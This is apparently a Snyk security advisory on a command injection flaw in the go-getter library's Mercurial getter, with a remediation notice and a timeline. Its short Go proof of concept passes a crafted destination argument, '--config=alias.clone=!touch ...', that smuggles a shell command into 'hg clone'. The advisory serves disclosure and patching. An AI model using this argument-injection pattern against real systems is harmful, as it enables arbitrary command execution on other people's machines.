SNYK-GOLANG-GITHUBCOMHASHICORPGOGETTER-2421223
## Overview [github.com/hashicorp/go-getter](https://pkg.go.dev/github.com/hashicorp/go-getter/v2) is a Package for downloading things from a string URL using a variety of protocols. Affected versions of this package are vulnerable to Command Injection via hg argument injection. When calling the `new(gogetter.HgGetter).get()` function, the `dst` parameter is passed to the `hg clone` command in a way that additional flags can be set. The additional flags can be used to perform a command injection. ## PoC ```go package main import ( gogetter "github.com/hashicorp/go-getter" "net/url" ) func main(){ g := new(gogetter.HgGetter) rawURL := "someurl" u, _ := url.Parse(rawURL) dst := "--config=alias.clone=!touch ./HELLO" g.Get(dst, u) } ``` ## Remediation Upgrade `github.com/hashicorp/go-getter` to version 1.6.1, 2.1.0 or higher. ## References - [GitHub Commit](https://github.com/hashicorp/go-getter/commit/38e97387488f5439616be60874979433a12edb48) - [HashiCorp Discuss](https://discuss.hashicorp.com/t/hcsec-2022-13-multiple-vulnerabilities-in-go-getter-library/39930)
Risk Scores
Affected Products
| Vendor | Product | Versions |
|---|---|---|
| 0 |
Timeline
- Mar 11, 2022 CVE Updated
- May 25, 2022 CVE Published
References
- https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMHASHICORPGOGETTER-2421223 advisory
- https://learn.snyk.io/lesson/malicious-code-injection/ technical
- https://pkg.go.dev/github.com/hashicorp/go-getter/v2 vendor
- https://github.com/hashicorp/go-getter/commit/38e97387488f5439616be60874979433a12edb48 patch
- https://discuss.hashicorp.com/t/hcsec-2022-13-multiple-vulnerabilities-in-go-getter-library/39930 technical